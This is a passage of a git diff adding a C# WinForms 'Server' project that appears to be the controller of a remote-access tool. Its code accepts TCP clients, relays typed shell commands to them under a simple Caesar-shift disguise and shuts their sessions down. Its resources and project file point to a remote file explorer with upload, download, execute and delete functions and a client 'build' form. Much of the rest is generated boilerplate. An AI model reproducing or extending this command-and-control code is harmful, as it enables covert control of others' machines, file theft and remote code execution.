NetworkStream stream = c.GetStream();
|
||||||
|
byte[] message = Encoding.UTF8.GetBytes(Utils.CAESAR("exit\n"));
|
||||||
|
stream.Write(message, 0, message.Length);
|
||||||
|
ClearSocketData(c);
|
||||||
|
c.Client.Blocking = false;
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
OPENED = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static async void OnKeyDown(KeyEventArgs e, System.Windows.Forms.TextBox textBox, TcpClient client)
|
||||||
|
{
|
||||||
|
if (e.KeyCode == Keys.Enter)
|
||||||
|
{
|
||||||
|
e.SuppressKeyPress = true; // Prevent the beep sound on Enter key
|
||||||
|
string input = textBox.Text.Split(new[] { ">" }, StringSplitOptions.None).Last();
|
||||||
|
try
|
||||||
|
{
|
||||||
|
NetworkStream stream = client.GetStream();
|
||||||
|
byte[] message = Encoding.UTF8.GetBytes(Utils.CAESAR(input + "\n"));
|
||||||
|
await stream.WriteAsync(message, 0, message.Length);
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
MessageBox.Show("Error sending message: " + ex.Message);
|
||||||
|
}
|
||||||
|
|
||||||
|
textBox.AppendText(Environment.NewLine); // Move to the next line after pressing Enter
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
public static class Utils
|
||||||
|
{
|
||||||
|
private const int KEY = 5;
|
||||||
|
public static string CAESAR_DECRYPT(string input)
|
||||||
|
{
|
||||||
|
char[] result = new char[input.Length];
|
||||||
|
|
||||||
|
for (int i = 0; i < input.Length; i++)
|
||||||
|
{
|
||||||
|
char c = input[i];
|
||||||
|
result[i] = (char)((int)c - KEY);
|
||||||
|
}
|
||||||
|
|
||||||
|
return new string(result);
|
||||||
|
}
|
||||||
|
public static string CAESAR(string input)
|
||||||
|
{
|
||||||
|
char[] result = new char[input.Length];
|
||||||
|
|
||||||
|
for (int i = 0; i < input.Length; i++)
|
||||||
|
{
|
||||||
|
char c = input[i];
|
||||||
|
result[i] = (char)((int)c + KEY);
|
||||||
|
}
|
||||||
|
|
||||||
|
return new string(result);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
internal static class Program
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Point d'entrée principal de l'application.
|
||||||
|
/// </summary>
|
||||||
|
[STAThread]
|
||||||
|
static void Main()
|
||||||
|
{
|
||||||
|
Application.SetCompatibleTextRenderingDefault(false);
|
||||||
|
Application.EnableVisualStyles();
|
||||||
|
|
||||||
|
Menu.ServerStart();
|
||||||
|
Menu m = new Menu();
|
||||||
|
Thread t = new Thread(m.on_new_client);
|
||||||
|
Thread t2 = new Thread(m.on_close_socket);
|
||||||
|
|
||||||
|
t.Start();
|
||||||
|
t2.Start();
|
||||||
|
|
||||||
|
Application.Run(m);
|
||||||
|
Menu.ServerStop();
|
||||||
|
|
||||||
|
t.Abort();
|
||||||
|
t2.Abort();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
36
Server/Properties/AssemblyInfo.cs
Normal file
@@ -0,0 +1,36 @@
|
|||||||
|
using System.Reflection;
|
||||||
|
using System.Runtime.CompilerServices;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
// Les informations générales relatives à un assembly dépendent de
|
||||||
|
// l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations
|
||||||
|
// associées à un assembly.
|
||||||
|
[assembly: AssemblyTitle("Server")]
|
||||||
|
[assembly: AssemblyDescription("")]
|
||||||
|
[assembly: AssemblyConfiguration("")]
|
||||||
|
[assembly: AssemblyCompany("")]
|
||||||
|
[assembly: AssemblyProduct("Server")]
|
||||||
|
[assembly: AssemblyCopyright("Copyright © 2024")]
|
||||||
|
[assembly: AssemblyTrademark("")]
|
||||||
|
[assembly: AssemblyCulture("")]
|
||||||
|
|
||||||
|
// L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly
|
||||||
|
// aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de
|
||||||
|
// COM, affectez la valeur true à l'attribut ComVisible sur ce type.
|
||||||
|
[assembly: ComVisible(false)]
|
||||||
|
|
||||||
|
// Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM
|
||||||
|
[assembly: Guid("ecbaf9b2-2988-480b-973e-50a6bdc7016e")]
|
||||||
|
|
||||||
|
// Les informations de version pour un assembly se composent des quatre valeurs suivantes :
|
||||||
|
//
|
||||||
|
// Version principale
|
||||||
|
// Version secondaire
|
||||||
|
// Numéro de build
|
||||||
|
// Révision
|
||||||
|
//
|
||||||
|
// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut
|
||||||
|
// en utilisant '*', comme indiqué ci-dessous :
|
||||||
|
// [assembly: AssemblyVersion("1.0.*")]
|
||||||
|
[assembly: AssemblyVersion("1.0.0.0")]
|
||||||
|
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||||
153
Server/Properties/Resources.Designer.cs
generated
Normal file
@@ -0,0 +1,153 @@
|
|||||||
|
//------------------------------------------------------------------------------
|
||||||
|
// <auto-generated>
|
||||||
|
// Ce code a été généré par un outil.
|
||||||
|
// Version du runtime :4.0.30319.42000
|
||||||
|
//
|
||||||
|
// Les modifications apportées à ce fichier peuvent provoquer un comportement incorrect et seront perdues si
|
||||||
|
// le code est régénéré.
|
||||||
|
// </auto-generated>
|
||||||
|
//------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
namespace Server.Properties {
|
||||||
|
using System;
|
||||||
|
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Une classe de ressource fortement typée destinée, entre autres, à la consultation des chaînes localisées.
|
||||||
|
/// </summary>
|
||||||
|
// Cette classe a été générée automatiquement par la classe StronglyTypedResourceBuilder
|
||||||
|
// à l'aide d'un outil, tel que ResGen ou Visual Studio.
|
||||||
|
// Pour ajouter ou supprimer un membre, modifiez votre fichier .ResX, puis réexécutez ResGen
|
||||||
|
// avec l'option /str ou régénérez votre projet VS.
|
||||||
|
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "17.0.0.0")]
|
||||||
|
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
||||||
|
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
|
||||||
|
internal class Resources {
|
||||||
|
|
||||||
|
private static global::System.Resources.ResourceManager resourceMan;
|
||||||
|
|
||||||
|
private static global::System.Globalization.CultureInfo resourceCulture;
|
||||||
|
|
||||||
|
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
|
||||||
|
internal Resources() {
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Retourne l'instance ResourceManager mise en cache utilisée par cette classe.
|
||||||
|
/// </summary>
|
||||||
|
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
|
||||||
|
internal static global::System.Resources.ResourceManager ResourceManager {
|
||||||
|
get {
|
||||||
|
if (object.ReferenceEquals(resourceMan, null)) {
|
||||||
|
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Server.Properties.Resources", typeof(Resources).Assembly);
|
||||||
|
resourceMan = temp;
|
||||||
|
}
|
||||||
|
return resourceMan;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Remplace la propriété CurrentUICulture du thread actuel pour toutes
|
||||||
|
/// les recherches de ressources à l'aide de cette classe de ressource fortement typée.
|
||||||
|
/// </summary>
|
||||||
|
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
|
||||||
|
internal static global::System.Globalization.CultureInfo Culture {
|
||||||
|
get {
|
||||||
|
return resourceCulture;
|
||||||
|
}
|
||||||
|
set {
|
||||||
|
resourceCulture = value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Recherche une ressource localisée de type System.Drawing.Bitmap.
|
||||||
|
/// </summary>
|
||||||
|
internal static System.Drawing.Bitmap delete {
|
||||||
|
get {
|
||||||
|
object obj = ResourceManager.GetObject("delete", resourceCulture);
|
||||||
|
return ((System.Drawing.Bitmap)(obj));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Recherche une ressource localisée de type System.Drawing.Bitmap.
|
||||||
|
/// </summary>
|
||||||
|
internal static System.Drawing.Bitmap download {
|
||||||
|
get {
|
||||||
|
object obj = ResourceManager.GetObject("download", resourceCulture);
|
||||||
|
return ((System.Drawing.Bitmap)(obj));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Recherche une ressource localisée de type System.Drawing.Bitmap.
|
||||||
|
/// </summary>
|
||||||
|
internal static System.Drawing.Bitmap execute {
|
||||||
|
get {
|
||||||
|
object obj = ResourceManager.GetObject("execute", resourceCulture);
|
||||||
|
return ((System.Drawing.Bitmap)(obj));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Recherche une ressource localisée de type System.Drawing.Bitmap.
|
||||||
|
/// </summary>
|
||||||
|
internal static System.Drawing.Bitmap file {
|
||||||
|
get {
|
||||||
|
object obj = ResourceManager.GetObject("file", resourceCulture);
|
||||||
|
return ((System.Drawing.Bitmap)(obj));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Recherche une ressource localisée de type System.Drawing.Bitmap.
|
||||||
|
/// </summary>
|
||||||
|
internal static System.Drawing.Bitmap folder {
|
||||||
|
get {
|
||||||
|
object obj = ResourceManager.GetObject("folder", resourceCulture);
|
||||||
|
return ((System.Drawing.Bitmap)(obj));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Recherche une ressource localisée de type System.Drawing.Bitmap.
|
||||||
|
/// </summary>
|
||||||
|
internal static System.Drawing.Bitmap refresh {
|
||||||
|
get {
|
||||||
|
object obj = ResourceManager.GetObject("refresh", resourceCulture);
|
||||||
|
return ((System.Drawing.Bitmap)(obj));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Recherche une ressource localisée de type System.Drawing.Bitmap.
|
||||||
|
/// </summary>
|
||||||
|
internal static System.Drawing.Bitmap terminal {
|
||||||
|
get {
|
||||||
|
object obj = ResourceManager.GetObject("terminal", resourceCulture);
|
||||||
|
return ((System.Drawing.Bitmap)(obj));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Recherche une ressource localisée de type System.Drawing.Bitmap.
|
||||||
|
/// </summary>
|
||||||
|
internal static System.Drawing.Bitmap up_arrow {
|
||||||
|
get {
|
||||||
|
object obj = ResourceManager.GetObject("up_arrow", resourceCulture);
|
||||||
|
return ((System.Drawing.Bitmap)(obj));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Recherche une ressource localisée de type System.Drawing.Bitmap.
|
||||||
|
/// </summary>
|
||||||
|
internal static System.Drawing.Bitmap upload {
|
||||||
|
get {
|
||||||
|
object obj = ResourceManager.GetObject("upload", resourceCulture);
|
||||||
|
return ((System.Drawing.Bitmap)(obj));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
148
Server/Properties/Resources.resx
Normal file
@@ -0,0 +1,148 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<root>
|
||||||
|
<!--
|
||||||
|
Microsoft ResX Schema
|
||||||
|
|
||||||
|
Version 2.0
|
||||||
|
|
||||||
|
The primary goals of this format is to allow a simple XML format
|
||||||
|
that is mostly human readable. The generation and parsing of the
|
||||||
|
various data types are done through the TypeConverter classes
|
||||||
|
associated with the data types.
|
||||||
|
|
||||||
|
Example:
|
||||||
|
|
||||||
|
... ado.net/XML headers & schema ...
|
||||||
|
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||||
|
<resheader name="version">2.0</resheader>
|
||||||
|
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||||
|
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||||
|
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||||
|
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||||
|
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||||
|
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||||
|
</data>
|
||||||
|
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||||
|
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||||
|
<comment>This is a comment</comment>
|
||||||
|
</data>
|
||||||
|
|
||||||
|
There are any number of "resheader" rows that contain simple
|
||||||
|
name/value pairs.
|
||||||
|
|
||||||
|
Each data row contains a name, and value. The row also contains a
|
||||||
|
type or mimetype. Type corresponds to a .NET class that support
|
||||||
|
text/value conversion through the TypeConverter architecture.
|
||||||
|
Classes that don't support this are serialized and stored with the
|
||||||
|
mimetype set.
|
||||||
|
|
||||||
|
The mimetype is used for serialized objects, and tells the
|
||||||
|
ResXResourceReader how to depersist the object. This is currently not
|
||||||
|
extensible. For a given mimetype the value must be set accordingly:
|
||||||
|
|
||||||
|
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||||
|
that the ResXResourceWriter will generate, however the reader can
|
||||||
|
read any of the formats listed below.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.binary.base64
|
||||||
|
value : The object must be serialized with
|
||||||
|
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.soap.base64
|
||||||
|
value : The object must be serialized with
|
||||||
|
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||||
|
value : The object must be serialized into a byte array
|
||||||
|
: using a System.ComponentModel.TypeConverter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
-->
|
||||||
|
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||||
|
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||||
|
<xsd:element name="root" msdata:IsDataSet="true">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:choice maxOccurs="unbounded">
|
||||||
|
<xsd:element name="metadata">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||||
|
<xsd:attribute name="type" type="xsd:string" />
|
||||||
|
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||||
|
<xsd:attribute ref="xml:space" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="assembly">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:attribute name="alias" type="xsd:string" />
|
||||||
|
<xsd:attribute name="name" type="xsd:string" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="data">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||||
|
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||||
|
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||||
|
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||||
|
<xsd:attribute ref="xml:space" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="resheader">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
</xsd:choice>
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
</xsd:schema>
|
||||||
|
<resheader name="resmimetype">
|
||||||
|
<value>text/microsoft-resx</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="version">
|
||||||
|
<value>2.0</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="reader">
|
||||||
|
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="writer">
|
||||||
|
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||||
|
</resheader>
|
||||||
|
<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
|
||||||
|
<data name="file" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||||
|
<value>..\Resources\file.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||||
|
</data>
|
||||||
|
<data name="terminal" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||||
|
<value>..\Resources\terminal.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||||
|
</data>
|
||||||
|
<data name="delete" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||||
|
<value>..\Resources\delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||||
|
</data>
|
||||||
|
<data name="execute" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||||
|
<value>..\Resources\execute.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||||
|
</data>
|
||||||
|
<data name="refresh" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||||
|
<value>..\Resources\refresh.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||||
|
</data>
|
||||||
|
<data name="folder" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||||
|
<value>..\Resources\folder.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||||
|
</data>
|
||||||
|
<data name="download" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||||
|
<value>..\Resources\download.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||||
|
</data>
|
||||||
|
<data name="upload" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||||
|
<value>..\Resources\upload.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||||
|
</data>
|
||||||
|
<data name="up_arrow" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||||
|
<value>..\Resources\up_arrow.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||||
|
</data>
|
||||||
|
</root>
|
||||||
30
Server/Properties/Settings.Designer.cs
generated
Normal file
@@ -0,0 +1,30 @@
|
|||||||
|
//------------------------------------------------------------------------------
|
||||||
|
// <auto-generated>
|
||||||
|
// This code was generated by a tool.
|
||||||
|
// Runtime Version:4.0.30319.42000
|
||||||
|
//
|
||||||
|
// Changes to this file may cause incorrect behavior and will be lost if
|
||||||
|
// the code is regenerated.
|
||||||
|
// </auto-generated>
|
||||||
|
//------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
namespace Server.Properties
|
||||||
|
{
|
||||||
|
|
||||||
|
|
||||||
|
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
|
||||||
|
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")]
|
||||||
|
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase
|
||||||
|
{
|
||||||
|
|
||||||
|
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
|
||||||
|
|
||||||
|
public static Settings Default
|
||||||
|
{
|
||||||
|
get
|
||||||
|
{
|
||||||
|
return defaultInstance;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
7
Server/Properties/Settings.settings
Normal file
@@ -0,0 +1,7 @@
|
|||||||
|
<?xml version='1.0' encoding='utf-8'?>
|
||||||
|
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)">
|
||||||
|
<Profiles>
|
||||||
|
<Profile Name="(Default)" />
|
||||||
|
</Profiles>
|
||||||
|
<Settings />
|
||||||
|
</SettingsFile>
|
||||||
BIN
Server/Resources/delete.png
Normal file
|
After Width: | Height: | Size: 16 KiB |
BIN
Server/Resources/download.png
Normal file
|
After Width: | Height: | Size: 3.7 KiB |
BIN
Server/Resources/execute.png
Normal file
|
After Width: | Height: | Size: 11 KiB |
BIN
Server/Resources/file.png
Normal file
|
After Width: | Height: | Size: 3.3 KiB |
BIN
Server/Resources/folder.png
Normal file
|
After Width: | Height: | Size: 13 KiB |
BIN
Server/Resources/refresh.png
Normal file
|
After Width: | Height: | Size: 16 KiB |
BIN
Server/Resources/terminal.png
Normal file
|
After Width: | Height: | Size: 6.6 KiB |
BIN
Server/Resources/up_arrow.png
Normal file
|
After Width: | Height: | Size: 4.5 KiB |
BIN
Server/Resources/upload.png
Normal file
|
After Width: | Height: | Size: 3.7 KiB |
129
Server/Server.csproj
Normal file
@@ -0,0 +1,129 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||||
|
<PropertyGroup>
|
||||||
|
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||||
|
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||||
|
<ProjectGuid>{ECBAF9B2-2988-480B-973E-50A6BDC7016E}</ProjectGuid>
|
||||||
|
<OutputType>WinExe</OutputType>
|
||||||
|
<RootNamespace>Server</RootNamespace>
|
||||||
|
<AssemblyName>Server</AssemblyName>
|
||||||
|
<TargetFrameworkVersion>v4.8</TargetFrameworkVersion>
|
||||||
|
<FileAlignment>512</FileAlignment>
|
||||||
|
<AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>
|
||||||
|
<Deterministic>true</Deterministic>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||||
|
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||||
|
<DebugSymbols>true</DebugSymbols>
|
||||||
|
<DebugType>full</DebugType>
|
||||||
|
<Optimize>false</Optimize>
|
||||||
|
<OutputPath>..\bin\</OutputPath>
|
||||||
|
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||||
|
<ErrorReport>prompt</ErrorReport>
|
||||||
|
<WarningLevel>4</WarningLevel>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||||
|
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||||
|
<DebugType>pdbonly</DebugType>
|
||||||
|
<Optimize>true</Optimize>
|
||||||
|
<OutputPath>..\bin\</OutputPath>
|
||||||
|
<DefineConstants>TRACE</DefineConstants>
|
||||||
|
<ErrorReport>prompt</ErrorReport>
|
||||||
|
<WarningLevel>4</WarningLevel>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Reference Include="System" />
|
||||||
|
<Reference Include="System.Core" />
|
||||||
|
<Reference Include="System.Xml.Linq" />
|
||||||
|
<Reference Include="System.Data.DataSetExtensions" />
|
||||||
|
<Reference Include="Microsoft.CSharp" />
|
||||||
|
<Reference Include="System.Data" />
|
||||||
|
<Reference Include="System.Deployment" />
|
||||||
|
<Reference Include="System.Drawing" />
|
||||||
|
<Reference Include="System.Net.Http" />
|
||||||
|
<Reference Include="System.Windows.Forms" />
|
||||||
|
<Reference Include="System.Xml" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Compile Include="BuildMenu.cs">
|
||||||
|
<SubType>Form</SubType>
|
||||||
|
</Compile>
|
||||||
|
<Compile Include="BuildMenu.Designer.cs">
|
||||||
|
<DependentUpon>BuildMenu.cs</DependentUpon>
|
||||||
|
</Compile>
|
||||||
|
<Compile Include="FileExplorer.cs">
|
||||||
|
<SubType>Form</SubType>
|
||||||
|
</Compile>
|
||||||
|
<Compile Include="FileExplorer.Designer.cs">
|
||||||
|
<DependentUpon>FileExplorer.cs</DependentUpon>
|
||||||
|
</Compile>
|
||||||
|
<Compile Include="Menu.cs">
|
||||||
|
<SubType>Form</SubType>
|
||||||
|
</Compile>
|
||||||
|
<Compile Include="Menu.Designer.cs">
|
||||||
|
<DependentUpon>Menu.cs</DependentUpon>
|
||||||
|
</Compile>
|
||||||
|
<Compile Include="Program.cs" />
|
||||||
|
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||||
|
<EmbeddedResource Include="BuildMenu.resx">
|
||||||
|
<DependentUpon>BuildMenu.cs</DependentUpon>
|
||||||
|
</EmbeddedResource>
|
||||||
|
<EmbeddedResource Include="FileExplorer.resx">
|
||||||
|
<DependentUpon>FileExplorer.cs</DependentUpon>
|
||||||
|
</EmbeddedResource>
|
||||||
|
<EmbeddedResource Include="Menu.resx">
|
||||||
|
<DependentUpon>Menu.cs</DependentUpon>
|
||||||
|
</EmbeddedResource>
|
||||||
|
<EmbeddedResource Include="Properties\Resources.resx">
|
||||||
|
<Generator>ResXFileCodeGenerator</Generator>
|
||||||
|
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
|
||||||
|
<SubType>Designer</SubType>
|
||||||
|
</EmbeddedResource>
|
||||||
|
<Compile Include="Properties\Resources.Designer.cs">
|
||||||
|
<AutoGen>True</AutoGen>
|
||||||
|
<DependentUpon>Resources.resx</DependentUpon>
|
||||||
|
<DesignTime>True</DesignTime>
|
||||||
|
</Compile>
|
||||||
|
<None Include="Properties\Settings.settings">
|
||||||
|
<Generator>SettingsSingleFileGenerator</Generator>
|
||||||
|
<LastGenOutput>Settings.Designer.cs</LastGenOutput>
|
||||||
|
</None>
|
||||||
|
<Compile Include="Properties\Settings.Designer.cs">
|
||||||
|
<AutoGen>True</AutoGen>
|
||||||
|
<DependentUpon>Settings.settings</DependentUpon>
|
||||||
|
<DesignTimeSharedInput>True</DesignTimeSharedInput>
|
||||||
|
</Compile>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="App.config" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="Resources\terminal.png" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="Resources\folder.png" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="Resources\execute.png" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="Resources\delete.png" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="Resources\refresh.png" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="Resources\upload.png" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="Resources\download.png" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="Resources\file.png" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="Resources\up_arrow.png" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||||
|
</Project>
|
||||||
|
Before Width: | Height: | Size: 1.1 KiB After Width: | Height: | Size: 1.1 KiB |
|
Before Width: | Height: | Size: 2.2 KiB After Width: | Height: | Size: 2.2 KiB |
|
